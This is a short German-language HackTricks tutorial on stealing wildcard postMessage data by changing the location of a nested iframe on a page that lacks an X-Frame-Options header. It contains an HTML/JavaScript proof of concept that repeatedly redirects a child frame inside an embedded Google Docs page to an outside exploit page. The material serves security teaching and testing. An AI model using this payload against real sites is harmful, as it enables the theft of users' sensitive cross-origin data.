Steal postmessage modifying iframe location

Reading time: 2 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Ändern der Standorte von Kind-IFRAMES

Laut diesem Bericht kann man, wenn man eine Webseite ohne X-Frame-Header, die ein anderes iframe enthält, in ein iframe einfügen kann, den Standort dieses Kind-IFRAMES ändern.

Zum Beispiel, wenn abc.com efg.com als iframe hat und abc.com keinen X-Frame-Header hat, könnte ich efg.com zu evil.com über verschiedene Ursprünge mit frames.location ändern.

Dies ist besonders nützlich bei postMessages, da, wenn eine Seite sensible Daten mit einem Wildcard wie windowRef.postmessage("","*") sendet, es möglich ist, den Standort des zugehörigen iframes (Kind oder Elternteil) auf einen vom Angreifer kontrollierten Standort zu ändern und diese Daten zu stehlen.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks